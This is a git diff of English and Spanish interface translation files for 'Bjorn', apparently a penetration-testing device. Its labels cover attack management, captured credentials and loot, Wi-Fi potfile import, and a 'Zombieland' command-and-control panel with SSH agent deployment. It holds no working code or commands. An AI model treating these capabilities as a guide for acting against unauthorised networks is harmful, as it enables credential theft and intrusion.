"vulns.severity": "Severity", + "vulns.description": "Description", + "vulns.cve": "CVE", + "vulns.scanDate": "Scan Date", + "vulns.details": "Details", + "vulns.noVulns": "No vulnerabilities found", + "vulns.byHost": "By Host", + "vulns.bySeverity": "By Severity", + "vulns.byService": "By Service", + "attacks.title": "Attack Manager", + "attacks.running": "Running", + "attacks.completed": "Completed", + "attacks.failed": "Failed", + "attacks.queued": "Queued", + "attacks.start": "Start", + "attacks.stop": "Stop", + "attacks.restart": "Restart", + "attacks.status": "Status", + "attacks.target": "Target", + "attacks.action": "Action", + "attacks.duration": "Duration", + "attacks.progress": "Progress", + "attacks.noAttacks": "No attacks running", + "sched.title": "Action Scheduler", + "sched.pending": "Pending", + "sched.running": "Running", + "sched.done": "Done", + "sched.failed": "Failed", + "sched.all": "All", + "sched.searchPlaceholder": "Search tasks...", + "sched.noTasks": "No tasks found", + "sched.stats": "{{running}} running / {{pending}} pending / {{done}} done", + "db.title": "Database Manager", + "db.tables": "Tables", + "db.rows": "Rows", + "db.columns": "Columns", + "db.search": "Search tables...", + "db.searchRows": "Search rows...", + "db.export": "Export", + "db.import": "Import", + "db.addRow": "Add row", + "db.deleteRow": "Delete row", + "db.deleteSelected": "Delete selected", + "db.saveChanges": "Save changes", + "db.discardChanges": "Discard", + "db.confirmDelete": "Confirm deletion?", + "db.noTables": "No tables found", + "db.noData": "No data in this table", + "db.hide": "Hide", + "db.showSidebar": "Show sidebar", + "files.title": "Files Explorer", + "files.gridView": "Grid", + "files.listView": "List", + "files.size": "Size", + "files.modified": "Modified", + "files.name": "Name", + "files.type": "Type", + "files.download": "Download", + "files.preview": "Preview", + "files.noFiles": "No files found", + "files.parentDir": "Parent directory", + "files.searchPlaceholder": "Search files...", + "loot.title": "Loot", + "loot.directories": "Directories", + "loot.totalFiles": "Total files", + "loot.totalSize": "Total size", + "loot.download": "Download", + "loot.downloadAll": "Download all", + "loot.noLoot": "No loot found", + "loot.explore": "Explore", + "actions.title": "Actions Manager", + "actions.available": "Available", + "actions.enabled": "Enabled", + "actions.disabled": "Disabled", + "actions.category": "Category", + "actions.enableAll": "Enable all", + "actions.disableAll": "Disable all", + "actions.import": "Import", + "actions.export": "Export", + "actions.noActions": "No actions found", + "actions.description": "Description", + "actions.menu.restartService": "Restart Bjorn Service", + "actions.menu.deleteActionStatus": "Delete all actions status", + "actions.menu.clearOutput": "Clear Output folder", + "actions.menu.clearLogs": "Clear Logs", + "actions.menu.reloadImages": "Reload Images (Experimental Buggy)", + "actions.menu.reloadFonts": "Reload Fonts", + "actions.menu.reloadActionsJson": "Reload Generate Actions JSON", + "actions.menu.initializeCsv": "Initialize CSV files", + "actions.menu.clearLivestatus": "Delete Livestatus file", + "actions.menu.refreshActionsFile": "Refresh Actions file", + "actions.menu.clearNetkb": "Clear Network Knowledge Base", + "actions.menu.clearSharedConfig": "Delete Shared Config JSON", + "actions.menu.eraseMemories": "Erase Bjorn Memories", + "actions.menu.reboot": "Reboot System", + "actions.menu.shutdown": "Shutdown System", + "actions.tip.restartService": "Restart the Bjorn service to refresh its state.", + "actions.tip.deleteActionStatus": "Delete all recorded success and failed actions statuses in netkb.csv.", + "actions.tip.clearOutput": "Erase all files from the output folders and subdirectories.", + "actions.tip.clearLogs": "Delete all log files from the system.", + "actions.tip.reloadImages": "Reload images used by the system.", + "actions.tip.reloadFonts": "Reload font assets for the application.", + "actions.tip.reloadActionsJson": "Reload the Generate Actions JSON file.", + "actions.tip.initializeCsv": "Recreate the CSV and JSON files.", + "actions.tip.clearLivestatus": "Delete the current live status file.", + "actions.tip.refreshActionsFile": "Refresh the actions file to account for new actions.", + "actions.tip.clearNetkb": "Clear all saved network knowledge base information.", + "actions.tip.clearSharedConfig": "Delete the shared configuration JSON file.", + "actions.tip.eraseMemories": "Completely erase Bjorn memories and settings.", + "actions.tip.reboot": "Restart the entire system.", + "actions.tip.shutdown": "Power down the system.", + "actions.confirm.restartRecommended": "Service restart is recommended. Restart now?", + "actions.confirm.restartService": "Restart the Bjorn service?", + "actions.confirm.deleteActionStatus": "Delete all recorded action statuses?", + "actions.confirm.clearOutput": "Clear the entire output folder?", + "actions.confirm.clearLogs": "Delete all log files?", + "actions.confirm.clearNetkb": "Clear the Network Knowledge Base? This cannot be undone.", + "actions.confirm.clearLivestatus": "Delete the livestatus file?", + "actions.confirm.refreshActionsFile": "Refresh the actions file?", + "actions.confirm.clearSharedConfig": "Delete the shared config JSON? This cannot be undone.", + "actions.confirm.eraseMemories": "Erase all Bjorn memories and settings? This cannot be undone.", + "actions.confirm.reboot": "Reboot the entire system?", + "actions.confirm.shutdown": "Shut down the system?", + "actions.msg.restartingService": "Bjorn service is restarting...", + "actions.msg.restartFailed": "Failed to restart service", + "actions.msg.actionStatusDeleted": "All action statuses deleted.", + "actions.msg.outputCleared": "Output folder cleared.", + "actions.msg.logsCleared": "Logs cleared.", + "actions.msg.netkbCleared": "Network Knowledge Base cleared.", + "actions.msg.livestatusDeleted": "Livestatus file deleted.", + "actions.msg.actionsFileRefreshed": "Actions file refreshed.", + "actions.msg.sharedConfigDeleted": "Shared config JSON deleted.", + "actions.msg.memoriesErased": "Bjorn memories erased.", + "actions.msg.rebooting": "System is rebooting...", + "actions.msg.shuttingDown": "System is shutting down...", + "actions.msg.csvInitialized": "CSV files initialized.", + "actions.msg.actionsJsonReloaded": "Actions JSON reloaded.", + "actions.msg.imagesReloaded": "Images reloaded.", + "actions.msg.fontsReloaded": "Fonts reloaded.", + "actions.msg.unknownAction": "Unknown action", + "actions.msg.actionFailed": "Action failed", + "studio.title": "Actions Studio", + "studio.palette": "Palette", + "studio.canvas": "Canvas", + "studio.inspector": "Inspector", + "studio.actionsTab": "Actions", + "studio.hostsTab": "Hosts", + "studio.globalTab": "Global", + "studio.save": "Save", + "studio.load": "Load", + "studio.run": "Run", + "studio.clear": "Clear", + "studio.addNode": "Add node", + "studio.removeNode": "Remove node", + "studio.search": "Search actions...", + "backup.title": "Backup & Update", + "backup.backupRestore": "Backup / Restore", + "backup.update": "Update", + "backup.createBackup": "Create backup", + "backup.restoreBackup": "Restore backup", + "backup.downloadBackup": "Download", + "backup.deleteBackup": "Delete backup", + "backup.lastBackup": "Last backup", + "backup.checkUpdates": "Check for updates", + "backup.installUpdate": "Install update", + "backup.currentVersion": "Current version", + "backup.latestVersion": "Latest version", + "backup.upToDate": "Up to date", + "backup.updateAvailable": "Update available", + "backup.clearLogs": "Clear logs", + "backup.noBackups": "No backups found", + "backup.restoring": "Restoring...", + "backup.creating": "Creating backup...", + "webenum.title": "Web Enumeration", + "webenum.totalResults": "Total Results", + "webenum.uniqueHosts": "Unique Hosts", + "webenum.successCount": "Success (2xx)", + "webenum.errorCount": "Errors (4xx/5xx)", + "webenum.host": "Host", + "webenum.ip": "IP", + "webenum.port": "Port", + "webenum.directory": "Directory", + "webenum.status": "Status", + "webenum.size": "Size", + "webenum.scanDate": "Scan Date", + "webenum.link": "Link", + "webenum.exportJson": "Export JSON", + "webenum.exportCsv": "Export CSV", + "webenum.noResults": "No results found", + "webenum.details": "Result Details", + "webenum.openUrl": "Open URL", + "webenum.copyUrl": "Copy URL", + "webenum.showing": "Showing {{start}}-{{end}} of {{total}} results", + "webenum.itemsPerPage": "Items per page", + "webenum.refreshData": "Refresh data", + "webenum.responseTime": "Response Time", + "webenum.contentType": "Content Type", + "webenum.fullUrl": "Full URL", + "zombie.title": "Zombieland C2C", + "zombie.agents": "Agents", + "zombie.terminal": "Terminal", + "zombie.commands": "Commands", + "zombie.totalAgents": "Total Agents", + "zombie.onlineAgents": "Online", + "zombie.offlineAgents": "Offline", + "zombie.idleAgents": "Idle", + "zombie.sendCommand": "Send command", + "zombie.broadcast": "Broadcast", + "zombie.selectAgent": "Select an agent", + "zombie.os": "OS", + "zombie.lastSeen": "Last seen", + "zombie.status": "Status", + "zombie.noAgents": "No agents connected", + "zombie.quickCommands": "Quick Commands", + "zombie.files": "Files", + "quick.autoScan": "Auto-scan", + "quick.connectWifi": "Connect to WiFi", + "quick.knownNetworks": "Known Networks", + "quick.importPotfiles": "Import Potfiles", + "quick.subtitle": "WiFi & Bluetooth", + "quick.pair": "Pair", + "quick.trust": "Trust", + "quick.forgetDevice": "Forget Device", + "quick.forgetDevicePrompt": "Forget {{name}}?", + "quick.forgetNetworkPrompt": "Are you sure you want to forget this network?", + "bjorn.title": "Bjorn EPD Screen", + "bjorn.epdScreen": "E-Paper Display", + "bjorn.refreshInterval": "Refresh interval", + "bjorn.autoRefresh": "Auto refresh", + "bjorn.manualRefresh": "Refresh now", + "bjorn.seconds": "seconds", + "common.search": "Search", + "common.filter": "Filter", + "common.refresh": "Refresh", + "common.save": "Save", + "common.cancel": "Cancel", + "common.delete": "Delete", + "common.edit": "Edit", + "common.close": "Close", + "common.loading": "Loading...", + "common.noData": "No data available", + "common.error": "Error", + "common.success": "Success", + "common.confirm": "Confirm", + "common.yes": "Yes", + "common.no": "No", + "common.export": "Export", + "common.import": "Import", + "common.download": "Download", + "common.upload": "Upload", + "common.copy": "Copy", + "common.start": "Start", + "common.stop": "Stop", + "common.restart": "Restart", + "common.status": "Status", + "common.name": "Name", + "common.value": "Value", + "common.type": "Type", + "common.host": "Host", + "common.port": "Port", + "common.target": "Target", + "common.date": "Date", + "common.time": "Time", + "common.size": "Size", + "common.actions": "Actions", + "common.details": "Details", + "common.back": "Back", + "common.next": "Next", + "common.previous": "Previous", + "common.first": "First", + "common.last": "Last", + "common.all": "All", + "common.none": "None", + "common.showing": "Showing", + "common.of": "of", + "common.results": "results", + "common.items": "items", + "common.page": "Page", + "common.perPage": "per page", + "common.sortBy": "Sort by", + "common.ascending": "Ascending", + "common.descending": "Descending", + "common.view": "View", + "common.table": "Table", + "common.grid": "Grid", + "common.list": "List", + "common.map": "Map", + "common.enabled": "Enabled", + "common.disabled": "Disabled", + "common.on": "On", + "common.off": "Off", + "common.version": "Version", + "common.hide": "Hide", + "common.show": "Show", + "common.add": "Add", + "common.remove": "Remove", + "common.clear": "Clear", + "common.reset": "Reset", + "common.apply": "Apply", + "common.run": "Run", + "common.send": "Send", + "common.connect": "Connect", + "common.disconnect": "Disconnect", + "common.selectAll": "Select all", + "common.deselectAll": "Deselect all", + "common.copied": "Copied!", + "common.notFound": "Not found", + "backup.checkUpdatesHint": "Click \"Check for updates\" to see version information.", + "backup.checkingUpdates": "Checking for updates...", + "backup.confirmFreshStart": "Confirm Fresh Start?", + "backup.createdSuccessfully": "Backup created successfully.", + "backup.defaultUpdated": "Default backup updated.", + "backup.deleted": "Backup deleted.", + "backup.descriptionPlaceholder": "Backup description...", + "backup.enterDescription": "Please enter a backup description.", + "backup.failedCheckUpdates": "Failed to check for updates", + "backup.failedCreate": "Failed to create backup", + "backup.failedDelete": "Failed to delete backup", + "backup.failedLoadBackups": "Failed to load backups", + "backup.failedSetDefault": "Failed to set default", + "backup.freshStart": "Fresh Start", + "backup.freshStartFailed": "Fresh start failed", + "backup.freshStartInitiated": "Fresh start initiated.", + "backup.github": "github", + "backup.keepActions": "Keep actions folder", + "backup.keepConfig": "Keep config folder", + "backup.keepData": "Keep data folder", + "backup.keepResources": "Keep resources folder", + "backup.noBackupsCreateAbove": "No backups found. Create one above.", + "backup.restoreCompleted": "Restore completed.", + "backup.restoreOptions": "Restore Options", + "backup.restorePoint": "restore-point", + "backup.selectKeepFolders": "Select folders to keep during the operation:", + "backup.setDefault": "Set Default", + "backup.unnamedBackup": "Unnamed backup", + "backup.updateInitiated": "Update initiated.", + "backup.updateOptions": "Update Options", + "common.confirmDiscardUnsaved": "Discard unsaved changes?", + "common.confirmQuestion": "Confirm?", + "common.default": "default", + "common.deleteFailed": "Delete failed", + "common.deleted": "Deleted", + "common.description": "Description", + "common.directory": "directory", + "common.duplicate": "Duplicate", + "common.exportJson": "Export JSON", + "common.failed": "failed", + "common.file": "file", + "common.importJson": "Import JSON", + "common.new": "New", + "common.noMatches": "No matches", + "common.options": "Options", + "common.processingPleaseWait": "Processing, please wait...", + "common.refreshed": "Refreshed", + "common.rename": "Rename", + "common.saving": "Saving...", + "common.unknown": "unknown", + "common.unsavedChanges": "Unsaved changes", + "db.autoRefresh": "Auto-refresh", + "db.changesDiscarded": "Changes discarded", + "db.changesSaved": "Changes saved", + "db.confirmDrop": "DROP \"{{table}}\"? This cannot be undone!", + "db.confirmTruncate": "Truncate all rows from \"{{table}}\"?", + "db.dangerZone": "Danger Zone", + "db.deletingRowsCount": "Deleting {{count}} row(s)...", + "db.dropFailed": "Drop failed", + "db.droppedTable": "Dropped {{table}}", + "db.dropping": "Dropping...", + "db.emptyTable": "Empty table", + "db.errorLoadingData": "Error loading data", + "db.failedLoadCatalog": "Failed to load catalog", + "db.failedLoadTable": "Failed to load table", + "db.filterTables": "Filter tables...", + "db.insertFailed": "Insert failed", + "db.insertingRow": "Inserting row...", + "db.noRowsSelected": "No rows selected", + "db.rowInserted": "Row inserted", + "db.rowsDeleted": "Rows deleted", + "db.runningVacuum": "Running VACUUM...", + "db.saveFailed": "Save failed", + "db.selectTableFromSidebar": "Select a table from the sidebar", + "db.tableDropped": "Table dropped", + "db.tableTruncated": "Table truncated", + "db.truncateFailed": "Truncate failed", + "db.truncating": "Truncating...", + "db.vacuumComplete": "VACUUM complete", + "db.vacuumDone": "VACUUM done", + "db.vacuumFailed": "VACUUM failed", + "files.confirmDelete": "Delete {{label}} \"{{name}}\"?", + "files.downloadFile": "Download file", + "files.duplicateFailed": "Duplicate failed", + "files.duplicated": "Duplicated", + "files.emptyDirectory": "Empty directory", + "files.errorLoading": "Error loading files", + "files.failedLoadDir": "Failed to load directory", + "files.filterPlaceholder": "Filter files...", + "files.itemsCount": "{{count}} item(s)", + "files.newNamePrompt": "New name:", + "files.noMatch": "No matching files", + "files.openDirectory": "Open directory", + "files.parent": ".. (parent)", + "files.renameFailed": "Rename failed", + "files.renamed": "Renamed", + "files.root": "Root", + "files.uploadComplete": "Upload complete", + "files.uploadFailed": "Upload failed", + "files.uploadingCount": "Uploading {{count}} file(s)...", + "studio.actionNotFound": "Action not found", + "studio.classNameRequired": "Class name is required", + "studio.confirmDeleteAction": "Delete action \"{{name}}\"? This cannot be undone.", + "studio.deletedName": "Deleted: {{name}}", + "studio.exportedFile": "Exported: {{name}}", + "studio.filterActions": "Filter actions...", + "studio.importFailed": "Import failed", + "studio.importedFile": "Imported: {{name}}", + "studio.loadFailed": "Load failed", + "studio.loadedFromCacheName": "Loaded from cache: {{name}}", + "studio.loadedName": "Loaded: {{name}}", + "studio.newActionCreated": "New action created", + "studio.noActionLoaded": "No action loaded", + "studio.saveFailedBackedUp": "Save failed (backed up locally)", + "studio.savedName": "Saved: {{name}}", + "studio.setClassBeforeExport": "Set a class name before exporting", + "zombie.agentRemoved": "Agent {{name}} removed", + "zombie.agentsPurged": "{{count}} agent(s) purged", + "zombie.allAgents": "All Agents", + "zombie.c2StartedOnPort": "C2 server started on port {{port}}", + "zombie.c2Stopped": "C2 server stopped", + "zombie.clearConsole": "Clear console", + "zombie.clearLogs": "Clear logs", + "zombie.commandBroadcasted": "Command broadcasted", + "zombie.commandSentToAgents": "Command sent to {{count}} agent(s)", + "zombie.confirmPurgeStale": "Purge all agents inactive > 24 hours?", + "zombie.confirmRemoveAgent": "Remove agent {{name}}?", + "zombie.confirmStopC2": "Stop the C2 server?", + "zombie.consoleCleared": "Console cleared", + "zombie.enterC2Port": "Enter C2 port:", + "zombie.enterCommand": "Enter command...", + "zombie.failedPurgeStale": "Failed to purge stale agents", + "zombie.failedRemoveAgent": "Failed to remove agent {{name}}", + "zombie.failedSendCommand": "Failed to send command", + "zombie.failedStartC2": "Failed to start C2", + "zombie.failedStopC2": "Failed to stop C2", + "zombie.noAgentsConnected": "No agents connected", + "zombie.noAgentsMatchSearch": "No agents match your search", + "zombie.purgeStale": "Purge Stale", + "zombie.purgeStaleHint": "Purge agents inactive >24h", + "zombie.removeAgent": "Remove agent", + "zombie.startC2": "Start C2", + "zombie.stopC2": "Stop C2", + "zombie.systemLogs": "System Logs", + "zombieland.alive": "Alive", + "zombieland.c2Status": "C2 Status", + "zombieland.dead": "Dead", + "zombieland.totalAgents": "Total Agents", + "greeting": "Hello", + "start": "Start", + "tick": "Tick", + "common.ip": "IP", + "common.mac": "MAC", + "common.os": "OS", + "zombie.never": "Never", + "zombie.openInConsole": "Open in console", + "common.saved": "Saved", + "attacks.tabs.attacks": "Attacks", + "attacks.tabs.comments": "Comments", + "attacks.tabs.images": "Images", + "attacks.btn.addAttack": "Add Attack", + "attacks.btn.removeAttack": "Remove Attack", + "attacks.btn.deleteAction": "Delete Action", + "attacks.btn.restoreDefaultsBundle": "Restore Defaults", + "attacks.btn.addSection": "Add Section", + "attacks.btn.deleteSection": "Delete Section", + "attacks.btn.restoreDefault": "Restore Default", + "attacks.btn.createCharacter": "Create Character", + "attacks.btn.deleteCharacter": "Delete Character", + "attacks.section.characters": "Characters", + "attacks.section.statusImages": "Status Images", + "attacks.section.staticImages": "Static Images", + "attacks.section.webImages": "Web Images", + "attacks.section.actionIcons": "Action Icons", + "attacks.editor.selectAttack": "Select an Attack", + "attacks.empty.noAttacks": "No attacks found.", + "attacks.empty.noComments": "No comments found.", + "attacks.comments.placeholder": "Comments will be displayed here...", + "attacks.images.enterEditMode": "Enter Edit Mode", + "attacks.images.exitEditMode": "Exit Edit Mode", + "attacks.images.sortName": "Sort: Name", + "attacks.images.sortDimensions": "Sort: Dimensions", + "attacks.images.search": "Search images...", + "attacks.images.rename": "Rename Image", + "attacks.images.replace": "Replace Image", + "attacks.images.resizeSelected": "Resize Selected", + "attacks.images.addCharacters": "Add Character Images", + "attacks.images.deleteSelected": "Delete Selected", + "attacks.images.addStatus": "Add Status Image", + "attacks.images.addStatic": "Add Static Image", + "attacks.images.addWeb": "Add Web Image", + "attacks.images.addIcon": "Add Action Icon", + "attacks.errors.loadAttacks": "Failed to load attacks.", + "attacks.errors.loadImages": "Failed to load images.", + "attacks.confirm.switchCharacter": "Switch to character '{{name}}'?", + "attacks.confirm.removeAttack": "Remove attack \"{{name}}\"?", + "attacks.confirm.deleteAction": "Delete action \"{{name}}\"?", + "attacks.confirm.restoreAttack": "Restore \"{{name}}\" to default?", + "attacks.confirm.restoreDefaultsBundle": "Restore ALL defaults (actions, images, comments)?", + "attacks.confirm.deleteCharacter": "Delete character '{{name}}'?", + "attacks.confirm.deleteSection": "Delete section '{{name}}'?", + "attacks.confirm.restoreDefaultComments": "Restore default comments?", + "attacks.confirm.deleteSelectedImages": "Delete selected images?", + "attacks.prompt.newCharacterName": "Enter a name for the new character:", + "attacks.prompt.characterToDelete": "Character to delete:", + "attacks.prompt.newSectionName": "Enter the name of the new section:", + "attacks.prompt.newImageName": "New name:", + "attacks.prompt.resizeWidth": "Resize width:", + "attacks.prompt.resizeHeight": "Resize height:", + "attacks.toast.characterSwitched": "Character switched", + "attacks.toast.attackImported": "Attack imported", + "attacks.toast.selectAttackFirst": "Select an attack first", + "attacks.toast.actionDeleted": "Action deleted", + "attacks.toast.defaultsRestored": "Defaults restored", + "attacks.toast.characterCreated": "Character created", + "attacks.toast.noDeletableCharacters": "No deletable characters", + "attacks.toast.characterDeleted": "Character deleted", + "attacks.toast.commentsRestored": "Comments restored", + "attacks.toast.selectSectionFirst": "Select a section first", + "attacks.toast.commentsSaved": "Comments saved", + "attacks.toast.selectExactlyOneImage": "Select exactly one image", + "attacks.toast.selectAtLeastOneImage": "Select at least one image", + "attacks.toast.imagesResized": "Images resized", + "attacks.toast.characterImagesUploaded": "Character images uploaded", + "attacks.toast.selectStatusActionFirst": "Select a status action first", + "actions.toast.presetApplied": "Preset applied", + "actions.toast.startingAction": "Starting {{name}}...", + "actions.toast.actionStarted": "Action started", + "actions.toast.stoppedByUser": "Stopped by user", + "actions.toast.actionStopped": "Action stopped", + "actions.toast.stopFailed": "Stop failed", + "actions.toast.failedToStop": "Failed to stop", + "actions.toast.consoleCleared": "Console cleared", + "actions.toast.noLogsToExport": "No logs to export", + "actions.toast.logsExported": "Logs exported", + "netkb.confirmRemoveAction": "Remove action \"{{action}}\" for IP \"{{ip}}\"?", + "netkb.actionRemoved": "Action removed", + "actions.running": "Running", + "attacks.btn.syncMissing": "Sync Missing", + "attacks.images.gridDensity": "Grid density", + "attacks.images.density": "Density", + "attacks.sync.defaultComment": "Add comment for this action", + "attacks.sync.none": "No attacks to sync.", + "attacks.sync.done": "Sync done. New comments: {{comments}}, status images: {{status}}, character images: {{characters}}.", + "attacks.sync.failed": "Sync Missing failed", + "actions.args.free": "Free command args", + "actions.args.none": "No configurable arguments", + "actions.args.subtitle": "Auto-generated from action definitions", + "actions.args.title": "Arguments", + "actions.assign": "Assign", + "actions.emptyPane": "No action selected", + "actions.logs.completed": "Completed", + "actions.logs.empty": "No logs yet", + "actions.logs.waiting": "Waiting...", + "actions.searchPlaceholder": "Search actions...", + "actions.tabs.actions": "Actions", + "actions.tabs.arguments": "Arguments", + "actions.toast.selectActionFirst": "Select an action first", + "common.move": "Move", + "common.ready": "Ready", + "common.menu": "Menu", + "common.browse": "Browse...", + "common.platform": "Platform", + "common.generate": "Generate", + "common.vendor": "Vendor", + "common.hostname": "Hostname", + "common.ports": "Ports", + "zombie.generateClient": "Generate Client", + "zombie.checkStale": "Check for stale agents", + "zombie.selectedAgents": "selected agents", + "zombie.clientId": "Client ID", + "zombie.labCreds": "Lab Credentials", + "zombie.deployOptions": "Deployment Options", + "zombie.deployViaSSH": "Deploy via SSH", + "zombie.fileBrowser": "File Browser", + "dash.lastUpdate": "Last update", + "netkb.searchPlaceholder": "Search host, IP, vendor, port...", + "netkb.searchHint": "Tip: type 'port:80' or 'vendor:intel'", + "files.dropzoneHint": "Drop files here or click to upload", + "files.moveToTitle": "Move to...", + "files.selectDestinationFolder": "Select destination folder", + "attacks.sidebar.management": "Management", + "sched.upcoming": "Upcoming", + "sched.success": "Success", + "sched.cancelled": "Cancelled", + "sched.history": "History", + "sched.historyMsg": "History logs", + "creds.searchPlaceholder": "Search services, usernames...", + "creds.uniqueHosts": "Unique Hosts", + "creds.totalCredentials": "Total Credentials", + "console.maxReconnect": "Console: max reconnect attempts reached", + "console.scrollToBottom": "Scroll to bottom", + "console.manual": "Manual", + "console.auto": "Auto", + "console.turnOnAuto": "Turn on Auto", + "console.turnOnManual": "Turn on Manual", + "console.noTarget": "No target", + "console.noAction": "No action", + "console.scanStarted": "Manual scan started", + "console.scanFailed": "Manual scan failed", + "console.attackStarted": "Manual attack started", + "console.attackFailed": "Manual attack failed", + "console.failedToggleMode": "Failed to toggle mode", + "console.reconnectAttempt": "Reconnecting (attempt {{count}})...", + "quick.close": "Close panel", + "quick.connectingTo": "Connecting to {{ssid}}...", + "quick.connectedTo": "Connected to {{ssid}}", + "quick.connectionFailed": "Connection failed", + "quick.loadKnownFailed": "Failed to load known networks", + "quick.priorityUpdated": "Priority updated", + "quick.priorityUpdateFailed": "Priority update failed", + "quick.networkRemoved": "Network removed", + "quick.importingPotfiles": "Importing potfiles...", + "quick.importedCount": "Imported {{count}} credentials", + "quick.btScanFailed": "Bluetooth scan failed", + "quick.btActioning": "{{action}}ing {{name}}...", + "quick.btActionDone": "{{name}} {{action}}ed", + "quick.btActionFailed": "{{action}} failed", + "quick.btForgotten": "{{name}} forgotten", + "sidebar.close": "Close sidebar", + "api.aborted": "Aborted", + "api.timeout": "Request timed out", + "api.failed": "Request failed", + "router.notFound": "Page not found: {{path}}", + "router.errorLoading": "Error loading page: {{message}}" +} diff --git a/web/i18n/es.json b/web/i18n/es.json new file mode 100644 index 0000000..ca10488 --- /dev/null +++ b/web/i18n/es.json @@ -0,0 +1,781 @@ +{ + "nav.dashboard": "Panel de control", + "nav.bjorn": "Bjorn", + "nav.netkb": "Base Red", + "nav.network": "Red", + "nav.credentials": "Credenciales", + "nav.vulnerabilities": "Vulnerabilidades", + "nav.attacks": "Ataque", + "nav.scheduler": "Planificador", + "nav.database": "Base de datos", + "nav.files": "Archivos", + "nav.loot": "Botín", + "nav.actions": "Acciones", + "nav.actionsStudio": "Estudio Acciones", + "nav.backup": "Copia y Act.", + "nav.webEnum": "Enum Web", + "nav.zombieland": "Zombieland", + "nav.settings": "Ajustes", + "nav.shortcuts": "Atajos", + "nav.pages": "Páginas", + "status.initializing": "Inicializando...", + "status.online": "En línea", + "status.offline": "Desconectado", + "console.title": "Consola", + "console.clear": "Limpiar", + "console.sseOn": "SSE Activo", + "console.sseOff": "SSE Inactivo", + "console.newLogs": "{{count}} nuevos registros", + "settings.theme": "Tema", + "settings.language": "Idioma", + "settings.general": "General", + "settings.toggles": "Opciones", + "settings.editValue": "Editar valor", + "settings.addValues": "Añadir valores (separados por comas)...", + "settings.setValue": "Establecer valor...", + "settings.errorLoading": "Error al cargar la configuración", + "settings.configSaved": "Configuración guardada", + "settings.errorSaving": "Error al guardar la configuración", + "settings.defaultsRestored": "Valores predeterminados restaurados", + "settings.errorRestoring": "Error al restaurar valores predeterminados", + "theme.group.colors": "Colores", + "theme.group.surfaces": "Superficies", + "theme.group.layout": "Diseño", + "theme.token.bg": "Fondo", + "theme.token.ink": "Color de texto", + "theme.token.accent1": "Acento 1 (Ácido)", + "theme.token.accent2": "Acento 2 (Cian)", + "theme.token.danger": "Peligro", + "theme.token.warning": "Advertencia", + "theme.token.ok": "Éxito", + "theme.token.panel": "Panel", + "theme.token.panel2": "Panel Alt", + "theme.token.ctrlPanel": "Panel control", + "theme.token.border": "Borde", + "theme.token.radius": "Radio de borde", + "theme.advanced": "CSS avanzado", + "theme.applyRaw": "Aplicar", + "theme.reset": "Restablecer", + "dash.title": "Panel de control", + "dash.battery": "Batería", + "dash.internet": "Internet", + "dash.cpu": "CPU", + "dash.ram": "RAM", + "dash.disk": "Disco", + "dash.temp": "Temp", + "dash.uptime": "Tiempo", + "dash.hostsAlive": "Hosts activos", + "dash.totalHosts": "Total hosts", + "dash.openPorts": "Puertos abiertos", + "dash.credentials": "Credenciales", + "dash.vulnerabilities": "Vulnerabilidades", + "dash.actions": "Acciones", + "dash.connected": "Conectado", + "dash.disconnected": "Desconectado", + "dash.charging": "Cargando", + "dash.discharging": "Descargando", + "dash.full": "Lleno", + "dash.connectivity": "Conectividad", + "dash.liveOps": "Op. en vivo", + "dash.tapRefresh": "Tocar para actualizar", + "dash.wifi": "Wi-Fi", + "dash.ethernet": "Ethernet", + "dash.usb": "USB", + "dash.bluetooth": "Bluetooth", + "dash.mode": "Modo", + "dash.gps": "GPS", + "dash.age": "Edad de Bjorn", + "dash.plugged": "Enchufado", + "dash.noBattery": "Sin batería", + "dash.sinceScan": "desde el último escaneo", + "dash.wifiKnown": "Wi-Fi conocidos", + "dash.dataFiles": "Datos / Archivos recogidos", + "dash.fileDescriptors": "Descriptores de archivos", + "dash.attackScripts": "Scripts de ataque", + "dash.system": "Sistema", + "dash.zombies": "Zombies", + "netkb.title": "Base de conocimiento de red", + "netkb.showOffline": "Mostrar desconectados", + "netkb.gridView": "Cuadrícula", + "netkb.listView": "Lista", + "netkb.hostname": "Nombre de host", + "netkb.ip": "Dirección IP", + "netkb.mac": "Dirección MAC", + "netkb.vendor": "Fabricante", + "netkb.ports": "Puertos", + "netkb.essid": "ESSID", + "netkb.lastSeen": "Última vez visto", + "netkb.firstSeen": "Primera vez visto", + "netkb.online": "En línea", + "netkb.offline": "Desconectado", + "netkb.openPorts": "Puertos abiertos", + "netkb.noHosts": "No se encontraron hosts", + "network.title": "Visualización de red", + "network.tableView": "Tabla", + "network.mapView": "Mapa", + "network.hostname": "Nombre de host", + "network.ip": "Dirección IP", + "network.mac": "MAC", + "network.ports": "Puertos", + "network.status": "Estado", + "network.searchPlaceholder": "Buscar hosts...", + "network.noData": "No hay datos de red", + "creds.title": "Credenciales", + "creds.total": "Total", + "creds.unique": "Únicas", + "creds.types": "Tipos", + "creds.username": "Usuario", + "creds.password": "Contraseña", + "creds.service": "Servicio", + "creds.host": "Host", + "creds.port": "Puerto", + "creds.type": "Tipo", + "creds.timestamp": "Marca de tiempo", + "creds.showPassword": "Mostrar contraseña", + "creds.hidePassword": "Ocultar contraseña", + "creds.copyPassword": "Copiar", + "creds.exportAll": "Exportar todo", + "creds.noCredentials": "No se encontraron credenciales", + "vulns.title": "Tablero de vulnerabilidades", + "vulns.total": "Total", + "vulns.critical": "Crítica", + "vulns.high": "Alta", + "vulns.medium": "Media", + "vulns.low": "Baja", + "vulns.infoLevel": "Info", + "vulns.host": "Host", + "vulns.port": "Puerto", + "vulns.service": "Servicio", + "vulns.severity": "Severidad", + "vulns.description": "Descripción", + "vulns.cve": "CVE", + "vulns.scanDate": "Fecha de escaneo", + "vulns.details": "Detalles", + "vulns.noVulns": "No se encontraron vulnerabilidades", + "vulns.byHost": "Por host", + "vulns.bySeverity": "Por severidad", + "vulns.byService": "Por servicio", + "attacks.title": "Gestor de ataques", + "attacks.running": "En curso", + "attacks.completed": "Completado", + "attacks.failed": "Fallido", + "attacks.queued": "En cola", + "attacks.start": "Iniciar", + "attacks.stop": "Detener", + "attacks.restart": "Reiniciar", + "attacks.status": "Estado", + "attacks.target": "Objetivo", + "attacks.action": "Acción", + "attacks.duration": "Duración", + "attacks.progress": "Progreso", + "attacks.noAttacks": "No hay ataques en curso", + "sched.title": "Planificador de acciones", + "sched.pending": "Pendiente", + "sched.running": "En curso", + "sched.done": "Hecho", + "sched.failed": "Fallido", + "sched.all": "Todo", + "sched.searchPlaceholder": "Buscar tareas...", + "sched.noTasks": "No se encontraron tareas", + "sched.stats": "{{running}} en curso / {{pending}} pendientes / {{done}} hechas", + "db.title": "Gestor de base de datos", + "db.tables": "Tablas", + "db.rows": "Filas", + "db.columns": 